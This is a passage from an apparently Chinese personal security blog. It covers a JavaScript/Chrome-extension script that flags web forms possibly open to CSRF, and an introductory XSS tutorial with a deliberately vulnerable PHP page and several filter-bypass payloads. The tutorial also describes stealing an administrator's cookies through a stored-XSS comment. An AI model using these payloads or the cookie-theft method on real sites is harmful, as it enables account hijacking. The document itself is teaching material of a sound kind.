            actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache.substring(1,actionCache.length) + actionvParameter;
        }
        break;
    default:
        if(location.protocol == "http:" || location.protocol == "https:"){
            actionPath = location.href;
            break;
        }
        if(location.href.split("/").pop().split(".").length == 1){
            actionPath = location.href + "/" + actionCache;
        }else{
            actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache;
        }
        break;
}

当 action 地址的第一个值是#时，直接使用 location.href + actionCache; 拼接。

当 action 地址的第一个值是/时，使用 location.origin + actionCache; 来进行拼接

当 action 地址的第一个值是.时: 先使用 indexOf 函数来把参数赋值给一个变量并去除，

if(actionCache.indexOf("?") != "-1"){
    actionvParameter = "?" + actionCache.split("?")[1];
    actionCache = actionCache.slice(0,actionCache.indexOf("?"));
}

详细的情况如下:

然后根据有无后缀进行匹配:

if(location.href.split("/").pop().split(".").length == 1){
    actionPath = location.href + actionCache.substr(1,actionCache.length-1) + actionvParameter;
}else{
    actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache.substring(1,actionCache.length) + actionvParameter;
}

location.href.split("/").pop().split(".").length 是检测 当前url 有无后缀，如果有那么长度是为 2。如果没有后缀长度是 1。如果没有参数，将不会加任何字符串，因为在初始变量的时候就已经设为空了。详情如下:

除去这些之外，还有直接是文件名或者直接是 url，这里呢，我直接写到 switch 的 default 分之上去了，因为无法使用 actionCache[0] 来匹配，代码如下:

default:
    if(location.protocol == "http:" || location.protocol == "https:"){
        actionPath = location.href;
        break;
    }
    if(location.href.split("/").pop().split(".").length == 1){
        actionPath = location.href + "/" + actionCache;
    }else{
        actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache;
    }
    break;

首先是判断 location.protocol 是否为 http 或 https 协议。如果是的话，直接使用 location.href;。当不为 http:// 或者 https:// 的时候，跳过此 if 判断。接下来就是判断 url 的后缀存在。如果存在将运行: actionPath = location.href + "/" + actionCache;，反馈如图:

当存在后缀时，运行: actionPath = location.href.substr(location.href,location.href.lastIndexOf(location.href.split("/").pop())) + actionCache;。反馈如图:

0x04: 模拟 form 的参数 {#form-params}

代码如下:

for(var v = 0;v < formDom.find(":text").length;v++){
    var input = formDom.find(":text").eq(v);
    if(input.attr("name") != ""){
        if(input.val() == ""){
            ajaxParameter += input.attr("name") + "=" + "15874583485&";
        }else{
            ajaxParameter += input.attr("name") + "=" + input.val() + "&";
        }
    }else{
        continue;
    }
}
ajaxParameter = ajaxParameter.substring(0,ajaxParameter.length-1);

使用 for 循环对当前 form 表单下属性为 text 的 input 标签，然后使用 var input = formDom.find(":text").eq(v); 来进行赋值，把当前的 input 赋值给 input 变量。

再使用 if 判断，当前的 input 标签是否存在 name 属性，如果没有，则使用 continue; 跳出初始化表达式变量为 v 的本次循环。如果存在，再判断当前的 input 的 value 属性里是否有值，如果有值则直接赋值给 ajaxParameter。代码: ajaxParameter += input.attr("name") + "=" + input.val() + "&";，如果不存在则把 15874583485 赋值给 ajaxParameter 变量，为什么要使用类似于手机号码的呢，因为容错率挺高的。可以看到我在每次赋值的时候，都会在后面加上&字符。因为方便下面发送 ajax。当然需要去掉最后一个&。于是乎，有了下面的代码: ajaxParameter = ajaxParameter.substring(0,ajaxParameter.length-1);。

0x04: 与插件的 background.js 进行通信 {#background-js}

这里呢，我先说说“检测 Referer 的思路”，在当前网站发送一次 ajax 请求，Referer 的地址肯定是当前的 URL，是正常的，和普通提交 form 表单是一样的，这里呢，把 action 地址和 method 值及参数传给插件，在插件里再发送一次 AJAX 请求，chrome 插件发送 AJAX 时，Refere 是为空的。两次提交，如果存在 Referer 检测，那么返回的结果长度肯定是不一样的，如果不存在 Referer 检测，长度是一样的（当然可能存在个别的差异，因为可能要显示时间等，结果长度不一样，但是是不存在“Referer 检测”的，下面会增加容错率）

Chrome 对插件通信提供了发送 chrome.runtime.sendMessage 和接受 chrome.runtime.onMessage.addListener 的 API。首先让我们来看看 base.js 文件里的发送 chrome.runtime.sendMessageAPI 代码:

$.ajax({
    url: actionPath,
    type: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'get':'post',
    dataType: 'html',
    data: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'':ajaxParameter,
    async: false,
})
.done(function(data){
    var firstAjax = data.length;
    var formCache = formDom;
    chrome.runtime.sendMessage({action: actionPath, parameter: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'':ajaxParameter},function (response) {
        if(Math.abs(firstAjax - response.status) < 10){
            formCache.attr("style","border: 1px red solid;")
        }
    });
})

因为 form 的 method 属性的值是不确定的。所以就需要对 ajax 的参数 type 进行设置: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'get':'post'，这里使用了三目运算符。当 method 的值不存在、为 get 的时候，type 为 get。当存在的时候，则为 post。

下面的 data 参数同理。只不过没有了 get、post 选项。改为 '':ajaxParameter。因为 method 值为 get 时，参数是附在 actionPath 变量里的。当为 post 的时候，将把之前拼接的参数传给 data 参数。这里计算一下返回页面的长度 var firstAjax = data.length;，至于下面的为什么要给变量再赋值一次呢，我也不知道，可能下面的 Chrome API 的作用域不同，导致在下面使用 API 的时候，使用 formDom 变量，结果不对。只能重新赋值给 formCache 变量，这个时候 API 才算正常。

下面就是 Chrome 的 API 了:

chrome.runtime.sendMessage({action: actionPath, parameter: (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'':ajaxParameter},function (response) {
        if(Math.abs(firstAjax - response.status) < 10){
            formCache.attr("style","border: 1px red solid;")
        }
    });

这里的 action 和 parameter 是发送的参数及值。至于代码 (formDom.attr("method") == undefined) || (formDom.attr("method") == 'get')?'':ajaxParameter 和上面同理，当为 get 的时候，不给 parameter 值，当为 post 的时候，值为 ajaxParameter。response 为回调函数，类似 ajax 的 done 函数，返回 background.js 的处理结果。

那 background.js 是如何处理的呢:

chrome.runtime.onMessage.addListener(function(message,sender,sendResponse){
    $.ajax({
        url: message.action,
        type: (message.parameter == "")?'get':'post',
        dataType: 'html',
        data: (message.parameter == "")?'':message.parameter,
        async: false,
    })
    .done(function(data) {
        sendResponse({status: data.length})
    })
})

chrome.runtime.onMessage.addListener 是接受函数，然后就是 AJAX 了，在 done 函数里，有一个 API 是 sendResponse({status: data.length}) 返回插件发送 AJAX 时的长度。这个时候前端 base.js 将会受到 background.js 文件的返回结果。代码就返回上面的处理方式了:

if(Math.abs(firstAjax - response.status) < 10){
    formCache.attr("style","border: 1px red solid;")
}

这里的 Math.abs 是求绝对值的，当两次 ajax 返回的长度差值小于 10 的时候，说明不存在“Referer 检测”，当大于 10 时，就说明存在“检测 Referer 的机制”了。这里的 10 就是容错值。

当存在 CSRF 漏洞的时候，会在 form 表单的外部包含一个红色的框，如图:

自动化检测 CSRF

bh@bugs.cc (Kevin Cui) — Wed, 15 Jun 2016 12:49:37 GMT

0x00 前言: {#intro}

之前写过自动化检测 XSS 插件，今天来一发自动化检测 CSRF 的插件。CSRF 有多种情况的出现方式，而本章所说的内容没有办法做的那么全面，就比如 JSON Hijacking（第二章或者第三章会写），本章我们就说说 form 表单导致的 CSRF 漏洞。检测 form 表单类型的 CSRF 漏洞和检测 form 表单类型的 XSS 漏洞最大的不同就是: XSS 需要提交才能检测到，而 CSRF 只需要分析 form 表单就行了。

0x01 前期的准备工作: {#preparation}

既然要写，那么我们就需要 demo 来帮我们模拟真实环境的下的情况，而 0x00 节就说明了，本章只针对于 form 表单，所以我们的 demo 也就是各式各样的表单。如下图:

基本上来说网上常见的表单类别都包含了，当然如果你发现有些表单没有加入进去，请说明一下，我将会在下一版中修改。

我们先遍历整个网页上的 form 表单。代码如下:

outerFor:
for(var i = 0;i < $("form").length;i++){
    var formDom = $("form").eq(i); //formDom 代表本次循环的 form 表单元素
    var imageFileSuffix = ['.jpg','.png','.jpge','.ico','.gif','.bmp']; //图片后缀白名单，用户验证图片是否为验证码
    var placeholderFilterKeyword = ['跳','搜','查','找','登陆','注册','search'];  //无用表单黑名单，用于验证这个 form 表单有没有用（针对 input 验证）
    var actionFilterKeyword = ['search','find','login','reg'];   //无用表单黑名单，用于验证这个 form 表单有没有用（针对 form 表单验证）
}

至于为什么要加上 outerFor:，是因为这只是最外层的 for 循环，里面还有 for 循环，为了方便我们在最里层的 for 循环里跳出最外层的本次循环。在最里层的 for 循环里我会使用 continue outerFor; 来跳出最外层 for 的本次循环。（如果没有看懂，请返回上一行重新看，这很重要）

0x02 去除类似搜索、页面跳转等无用的 form 表单: {#useless-forms}

首先我们需要假象一下有没有特殊的 form 表单，比如没有 action 属性，把请求交给 JavaScript 来完成。而这种特殊的 form 表单也很常见，所以这里我就先使用 if 判断 action 是否存在:

if(formDom.attr("action") != undefined){
    //当 action 不为空的时候，进行下一步的操作
}

然后就是使用 JavaScript 的 some 函数来对 action 进行判断，当 action 里的值满足于我们之前设置的黑名单里的字符串时，就直接 pass，使用 continue 来跳出初始化表达式变量为 i 的本次循环。转化成代码就是下面这样:

if(formDom.attr("action") != undefined){
    var actionCheck = actionFilterKeyword.some(function(item,index){
        return (formDom.attr("action").toLowerCase().indexOf(item)  != "-1");
    })
    if(actionCheck){
        continue;
    }
}

如果对 some 函数不明白的，请移步: https://msdn.microsoft.com/zh-cn/library/ff679978(v=vs.94).aspx 而在 JavaScript 里是严格区分大小写的，所以在上面的代码中我使用了 toLowerCase() 函数，来把 action 里的值全部转化成小写，然后在其中搜索之前设置的 action 黑名单，看是否存在。而对比过程如下:

action 的值–search（如果此次比对为 true，则不会向下进行比对）

action 的值–find

……

其返回的结果是布尔型。在《JavaScript 高级程序设计》里是这样说明 some 函数的:

对数组中的每一项运行给定函数，如果该函数对任意一项返回true，则返回true。

这个时候我们可以看到 some 前面有一个变量。因为 some 返回的是布尔型，那么 actionCheck 变量也是一个布尔型，假设当前这个 form 表单里的 action 的值为”/searchArticle.php”。那么就会匹配到黑名单里的 search 字符串，那么 some 就会停止向下循环，直接返回 true。如下图:

然后使用 if 判断 actionCheck 变量。如果为 true，那么就使用 continue 来跳出当前的循环，不向下运行，直接开始下一个循环。

OK，上面的已经完成对 form 的 action 属性过滤了，那么下面的将对 input 进过白名单过滤。

for(var x = 0;x < formDom.find(":text").length;x++){
    var inputTextCheck;
    var inputText =  formDom.find(":text").eq(x);
    if(inputText.attr("placeholder") == undefined){
        continue;
    }
    inputTextCheck = placeholderFilterKeyword.some(function(item,index){
        return (inputText.attr("placeholder").toLowerCase().indexOf(item)  != "-1");
    })
    if(inputTextCheck){
        continue outerFor;
    }
}

首先使用 (":text") 来遍历当前 form 表单下所有 type 为 text 的 input 标签。

inputTextCheck 变量是为了存放 some 函数的布尔结果。而 inputText 变量代表了当前的 input 标签。

然后使用 if 判断当前 input 里的 placeholder 属性是否存在，如果不存在，则跳出初始化表达式变量为 x 的本次循环。不向下运行，且对下一个 input 标签进行之前的操作。如果存在且有值的话，if 里的表达式会返回 false。则这个 if 判断不会运行，而是向下运行，而代码:

inputTextCheck = placeholderFilterKeyword.some(function(item,index){
    return (inputText.attr("placeholder").toLowerCase().indexOf(item)  != "-1");
})
if(inputTextCheck){
    continue outerFor;
}

和之前判断 action 的情况的是一样的，这里就不在阐述了。

0x03 去除没有提交按钮的 form 表单: {#no-submit-forms}

为什么要写这个，因为有些 form 表单不是给用户使用的，他没有提交按钮。对用户来说也是不可见状态。而且也不涉及较为核心的操作，那么我们就需要把这个表单剔除掉。代码如下:

if(formDom.find(":submit").length < 1){
    continue;
}

这段代码较为简单，这里也不在阐述了。

0x04 去除具有 token 的 form 表单: {#token-forms}

大家都知道对于 CSRF 来说，具有 token 的 form 表单基本是可以断定是不存在 CSRF 漏洞的了，当然排除同页面存在 XSS 漏洞和 CSRF 漏洞。

而 token，我们应该怎么样发现呢？type 为 hidden？name 包含 token？，不不不。这些都不准确，没办法减少误报和扩大结果。那我们应该怎么做呢？判断 type 为 hidden 的 input 标签里的 value 值的长度是否大于 10。

具有 token 功能的 input 标签的特殊性:

type 为 hidden

为了安全起见，token 一般是不会小于 10 位数的。

总是以 input 标签为媒介的方式传输给后端服务器中。

OK，那么我们可以遍历当前 form 表单下所有 type 为 hidden 的 input 标签，再判断 value 值是否大于 10。如果大于 10，说明这个表单很大程度上是具有 token 验证的表单，将会被程序丢弃。跳出初始化表达式变量为 i 的本次循环。把上面的话转化成代码就是下面这样:

for(var j = 0;j < formDom.find(":hidden").length;j++){
    if(formDom.find(":hidden").eq(j).val().length > 10){
        continue outerFor;
    }
}

程序不复杂，复杂的思路。所以这里看起来代码其实也了没多少，而且相当的简单。所以这里就不对代码进行阐述了。

0x05 去除带有验证码的 form 表单: {#captcha-forms}

有了之前写自动化检测 XSS 项目的经验，这里思路就清晰多了。获取 img 的 src 属性里的值，判断后缀是否为图片格式。代码如下:

if(formDom.find("img").length > 0){
    var imageCheck;
    for(var z = 0;z < formDom.find("img").length;z++){
        var img = formDom.find("img").eq(z);
        var imgSrc = img.attr("src")
        if(!!imgSrc){
            if(imgSrc.indexOf("?") != "-1"){
                imgSrc = imgSrc.slice(0,imgSrc.indexOf("?"));
            }
            imgSrc = imgSrc.substr(imgSrc.lastIndexOf("."),imgSrc.length);
            imageCheck = imageFileSuffix.some(function(item,index){
                return (imgSrc == item);
            })
            if(!imageCheck){
                continue outerFor;
            }
        }
    }
}

首先使用 formDom.find("img").length 来判断当前的 form 表单里是否存在图片，如果存在，那么 if 判断会返回 true。进入 if 判断里面后，首先是一个变量，而这个变量是存放 some 函数返回的布尔结果的。

然后就是一个 for 循环，对当前 form 表单里的 img 表单进行遍历。而变量 img 代表了当前的 img 标签。而 imgSrc 变量代表了当前 img 标签里的 src。

下面是一段 if 代码 if(!!imgSrc) 为什么要这样写呢，是强制把 imgSrc 变量转成布尔型的，如果当前这个 img 标签是不存在 src 属性或没有值的情况下，将会返回 false，如果存在 src 且有值的情况下会返回 true。

而下面的代码的是为了剔除?后面的字符串:

if(imgSrc.indexOf("?") != "-1"){
    imgSrc = imgSrc.slice(0,imgSrc.indexOf("?"));
}

为什么要写这样的代码呢？原因很简单，未来防止验证码图片被浏览器缓存，需要再后面跟上问号和随机数字，来达到每刷新一次，就会重新请求这个图片。防止浏览器缓存图片。

而 imgSrc = imgSrc.substr(imgSrc.lastIndexOf("."),imgSrc.length); 这段代码是剔除，除了后缀之外所有的字符串。只保留后缀。举个例子，有段 img 标签是这样写的: <img src="https://wwww.baidu.com/code.php?rand=458711541">，而运行上面的代码后，结果只有 .php 了，剩下的字符串已经被剔除掉了。

而下面的 some 函数，和之前是一样的，不做阐述。只是 if 里面的表达式里多了一个!取反感叹号。为什么要这样写呢。因为之前的都是黑名单的形式，而这里的白名单的形式，既然是相反的，那么就使用!取反就行了。

0x06 其他: {#misc}

整套代码如下:

outerFor:
for(var i = 0;i < $("form").length;i++){
    var formDom = $("form").eq(i);
    var imageFileSuffix = ['.jpg','.png','.jpge','.ico','.gif','.bmp'];
    var placeholderFilterKeyword = ['跳','搜','查','找','登陆','注册','search'];
    var actionFilterKeyword = ['search','find','login','reg'];
    //去除类似搜索、页面跳转等无用的 form 表单
    if(formDom.attr("action") != undefined){
        var actionCheck = actionFilterKeyword.some(function(item,index){
            return (formDom.attr("action").toLowerCase().indexOf(item)  != "-1");
        })
        if(actionCheck){
            continue;
        }
    }
    for(var x = 0;x < formDom.find(":text").length;x++){
        var inputTextCheck;
        var inputText =  formDom.find(":text").eq(x);
        if(inputText.attr("placeholder") == undefined){
            continue;
        }
        inputTextCheck = placeholderFilterKeyword.some(function(item,index){
            return (inputText.attr("placeholder").toLowerCase().indexOf(item)  != "-1");
        })
        if(inputTextCheck){
            continue outerFor;
        }
    }
    //去除没有提交按钮的 form 表单
    if(formDom.find(":submit").length < 1){
        continue;
    }
    //去除具有 token 的 form 表单
    for(var j = 0;j < formDom.find(":hidden").length;j++){
        if(formDom.find(":hidden").eq(j).val().length > 10){
            continue outerFor;
        }
    }
    //去除带有验证码的 form 表单
    if(formDom.find("img").length > 0){
        var imageCheck;
        for(var z = 0;z < formDom.find("img").length;z++){
            var img = formDom.find("img").eq(z);
            var imgSrc = img.attr("src")
            if(!!imgSrc){
                if(imgSrc.indexOf("?") != "-1"){
                    imgSrc = imgSrc.slice(0,imgSrc.indexOf("?"));
                }
                imgSrc = imgSrc.substr(imgSrc.lastIndexOf("."),imgSrc.length);
                imageCheck = imageFileSuffix.some(function(item,index){
                    return (imgSrc == item);
                })
                if(!imageCheck){
                    continue outerFor;
                }
            }
        }
    }
    console.log(formDom)
}

这里的 console.log(formDom) 可以改为 ajax 等方式发包，或者 alert 直接提醒此页面可能具有 csrf 漏洞。至于如何使用，需要大伙手工打包成浏览器插件的形式。而这里我为大家附上我之前写的自动化检测 XSS 的插件: http://pan.baidu.com/s/1ge5VTcf。大家可以直接解包，修改里面的 JavaScript 代码为上面完整的代码，再重新打包就行了。

文章呢，还有很多地方不足。而这套程序还只能说是雏形，所以我没有附上直接利用的工具给大家，也是第一次这样。而且有很多地方没有考虑到，比如 JSON Hijacking 检测。当然下一章会完成的，也会放出可以直接利用的工具。第二章或者第三章可能会把之前写的 XSS 自动化检测与本章所说的自动化检测 CSRF 相结合起来。毕竟 XSS+CSRF 的危害是非常大的。

XSS 的原理分析与解剖

bh@bugs.cc (Kevin Cui) — Mon, 30 May 2016 03:27:07 GMT

0×01 前言: {#intro}

《xss 攻击手法》一开始在互联网上资料并不多 (都是现成的代码，没有从基础的开始)，直到刺的《白帽子讲 WEB 安全》和 cn4rry 的《XSS 跨站脚本攻击剖析与防御》才开始好转。

我这里就不说什么 xss 的历史什么东西了，xss 是一门又热门又不太受重视的 Web 攻击手法，为什么会这样呢，原因有下:

耗时间
有一定几率不成功
没有相应的软件来完成自动化攻击
前期需要基本的 html、js 功底，后期需要扎实的 html、js、actionscript2/3.0 等语言的功底
是一种被动的攻击手法
对 website 有 http-only、crossdomian.xml 没有用

但是这些并没有影响黑客对此漏洞的偏爱，原因不需要多，只需要一个“XSS 几乎每个网站都存在，google、baidu、360 等都存在。”

0x02 原理: {#how-it-works}

首先我们现在本地搭建个 PHP 环境 (可以使用 phpstudy 安装包安装)，然后在 index.php 文件里写入如下代码:

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>XSS原理重现</title>
    </head>
    <body>
        <form action="" method="get">
            <input type="text" name="xss_input">
            <input type="submit">
        </form>
        <hr>
        <?php
        $xss = $_GET['xss_input'];
        echo '你输入的字符为<br>'.$xss;
        ?>
    </body>
</html>

然后，你会在页面看到这样的页面

我们试着输入 abcd123，得到的结果为

我们在看看源代码

我们输入的字符串被原封不动的输出来了，那这里我们提出来一个假设，假设我们在搜索框输入 <script>alert('xss')</script> 会出现什么呢？如果按照上面的例子来说，它应该存在第 12 行的 <br> 与 </boby> 之间，变成 <br><script>alert('xss')</script></boby>，那应该会弹出对话框。

既然假设提出来，那我们来实现下这个假设成不成立吧。

我们输入 <script>alert('xss')</script>，得到的页面为

成功弹窗，这个时候基本上就可以确定存在 xss 漏洞。

我们在看看源代码

看来，我们的假设成功了，这节就说说 XSS 的原理，下面几节说说 xss 的构造和利用

0×03 xss 利用输出的环境来构造代码: {#output-context}

上节说了 xss 的原理，但是我们的输出点不一在 <br> 和 </boby> 里，可以出现在 html 标签的属性里，或者其他标签里面。所以这节很重要，因为不一定当你输入

<script>alert('xss')</script> 就会弹窗。

先贴出代码:

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>XSS利用输出的环境来构造代码</title>
    </head>
    <body>
        <center>
            <h6>把我们输入的字符串 输出到input里的value属性里</h6>
            <form action="" method="get">
                <h6>请输入你想显现的字符串</h6>
                <input type="text" name="xss_input_value" value="输入"><br>
                <input type="submit">
            </form>
            <hr>
            <?php
            $xss = $_GET['xss_input_value'];
            if(isset($xss)){
                echo '<input type="text" value="'.$xss.'">';
            }else{
                echo '<input type="type" value="输出">';
            }
            ?>
        </center>
    </body>
</html>

下面是代码的页面

这段代码的作用是把第一个输入框的字符串，输出到第二个输入框，我们输入 1，那么第二个 input 里的 value 值就是 1，下面是页面的截图和源代码的截图 (这里我输入 <script>alert('xss')</script> 来测试)

明显的可以看到，并没有弹出对话框，大家可能会疑惑为什么没有弹窗呢，我们来看看源代码

我们看到我们输入的字符串被输出到第 15 行 input 标签里的 value 属性里面，被当成 value 里的值来显现出来，所以并没有弹窗，这时候我们该怎么办呢？聪明的人已经发现了可以在 <script>alert('xss')</script> 前面加个">来闭合 input 标签。所以应该得到的结果为

成功弹窗了，我们在看看这时的页面

看到后面有第二个 input 输入框后面跟有”>字符串，为什么会这样呢，我们来看看源代码

这时可以看到我们构造的代码里面有两个">，第一个”>是为了闭合 input 标签，所以第二个">就被抛弃了，因为 html 的容错性高，所以并没有像 php 那样出现错误，而是直接把多余的字符串来输出了，有的人是个完美主义者，不喜欢有多余的字符串被输出，这时该怎么办呢？

这里我问大家一个问题，我之前说的 xss 代码里，为什么全是带有标签的。难道就不能不带标签么？！答: 当然可以。既然可以不用标签，那我们就用标签里的属性来构造 XSS，这样的话，xss 代码又少，又不会有多余的字符串被输出来。

还是这个环境，但是不能使用标签，你应该怎么做。想想 input 里有什么属性可以调用 js，html 学的好的人，应该知道了，on 事件，对的。我们可以用 on 事件来进行弹窗，比如这个 xss 代码我们可以写成 " onclick="alert('xss')

这时，我们在来试试，页面会发生什么样的变化吧。

没有看到弹窗啊，失败了么？答案当然是错误的，因为 onclick 是鼠标点击事件，也就是说当你的鼠标点击第二个 input 输入框的时候，就会触发 onclick 事件，然后执行 alert('xss') 代码。我们来试试看

当我点击后，就出现了弹窗，这时我们来看看源代码把

第 15 行，value 值为空，当鼠标点击时，就会弹出对话框。这里可能就会有人问了，如果要点击才会触发，那不是很麻烦么，成功率不就又下降了么。我来帮你解答这个问题，on 事件不止 onclick 这一个，还有很多，如果你想不需要用户完成什么动作就可以触发的话，i 可以把 onclick 改成

onmousemove 当鼠标移动就触发
onload 当页面加载完成后触发

还有很多，我这里就不一一说明了，有兴趣的朋友可以自行查询下。

别以为就这样结束了，还有一类环境不能用上述的方法，

那就是如果在 <textarea> 标签里呢？！或者其他优先级比 script 高的呢？

就下面这样

这时我们该怎么办呢？既然前面都说了闭合属性和闭合标签了，那能不能闭合完整的标签呢，答案是肯定的。我们可以输入 </textarea><script>alert('xss')</script> 就可以实现弹窗了。

0×04 过滤的解决办法: {#bypass-filter}

假如说网站禁止过滤了 script 这时该怎么办呢，记住一句话，这是我总结出来的“xss 就是在页面执行你想要的 js”不用管那么多，只要能运行我们的 js 就 OK，比如用 img 标签或者 a 标签。我们可以这样写

<img scr=1 onerror=alert('xss')> 当找不到图片名为1的文件时，执行alert('xss')
<a href=javascrip:alert('xss')>s</a> 点击s时运行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe> 利用iframe的scr来弹窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> 过滤了alert来执行弹窗

等等有很多的方法，不要把思想总局限于一种上面，记住一句话“xss 就是在页面执行你想要的 js”其他的管他去。(当然有的时候还要管他…)

0×05 xss 的利用: {#exploitation}

说了那么多，大家可能都以为 xss 就是弹窗，其实错了，弹窗只是测试 xss 的存在性和使用性。

这时我们要插入 js 代码了，怎么插呢？

你可以这样

<script scr="js_url"></script>

也可以这样

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

各种姿势，各种插，只要鞥运行我们的 js 就 OK。那运行我们的 js 有什么用呢？

Js 可以干很多的事，可以获取 cookies(对 http-only 没用)、控制用户的动作 (发帖、私信什么的) 等等。

比如我们在网站的留言区输入 <script scr="js_url"></script> 当管理员进后台浏览留言的时候，就会触发，然后管理员的 cookies 和后台地址还有管理员浏览器版本等等你都可以获取到了，再用“桂林老兵 cookie 欺骗工具”来更改你的 cookies，就可以不用输入账号密码验证码就可以以管理员的方式来进行登录了。

至于不会 js 的怎么写 js 代码呢，放心网上有很多 xss 平台，百度一下就可以看到了。页面是傻瓜式的操作，这里就不再过多的说明了。

Kevin Cui's Blog

6.47 MB 的 JS 字符串占了 15.4 MB 内存

现象 {#symptom}

为什么是两倍 {#why-two-bytes}

修复 {#fix-bytes}

Cloudflare Workers 上的脚本源码 {#workers}

怎么查 {#how-to-check}

最后 {#conclusion}

Bun 服务周期性 CPU 100% 排查

现象 {#symptom}

先在 pod 里读 /proc {#proc-in-pod}

每次都是 Kafka 发送 {#kafka-send}

kafkajs 里的 1ms setTimeout {#kafkajs-settimeout}

为什么 Bun 会打满一个核 {#why-bun-spins}

本地复现 {#local-repro}

修复 {#fix}

最后 {#conclusion}

脚注

Electron 39.6.0 tag 在 Windows 上构建失败排查

在 macOS 上查看并解析 electron crash

寻找本地 crash 日志 {#find-crash-logs}

解析 crash 文件 {#parse-crash-file}

使用 breakpad {#breakpad}

使用 lldb {#lldb}

切换 Fedora(40) 内核

脚注

Podman 基本原理及通信机制

简要架构 {#architecture}

Machine

通信 {#communication}

SSH

GVP （gvisor-tap-vsock） {#gvp}

API 转发 {#api-forwarding}

MacOS

Windows

脚注

构建 / 调试 Electron 源码

前言 {#intro}

构建 {#build}

调试 (CLion) {#debug}

问题 {#issues}

设置 macOS SDK {#set-macos-sdk}

下载 dugite 失败解决方案 {#dugite-solution}

脚注

动态修改 Protocol Buffers 的 string message

前言 {#intro}

引用说明 {#string-encoding}

开始处理 {#implementation}

macOS 10.15 下载及编译 Chromium

下载 {#download}

编译 {#build}

脚注

服务端录制原理分析

简要 {#intro}

功能简要 {#features}

原理简要 {#principle}

难点 {#challenges}

分析 {#analysis}

部署方式 {#deployment}

其他 {#open-source}

脚注

Electron App 在 MacOS 下 申请摄像头及麦克风权限踩坑指南

脚注

Web 安全概览

前言 {#intro}

前端 {#frontend}

XSS

DOM XSS

后端 {#backend}

反射 XSS {#reflected-xss}

存储型 XSS {#stored-xss}

CSRF

SSRF

JSON Hijacking

脚注

基于任务量进行 k8s 集群的灵活调度处理

前言 {#intro}

介绍 {#workflow}

开始 {#implementation}

创建一个可调试的 k8s 环境 {#debug-env}

使用 `breakpad` {#breakpad}

使用 `lldb` {#lldb}

Electron App 在 MacOS 下申请摄像头及麦克风权限踩坑指南

一、计算视频长度，分配给 `blob` {#blob-duration}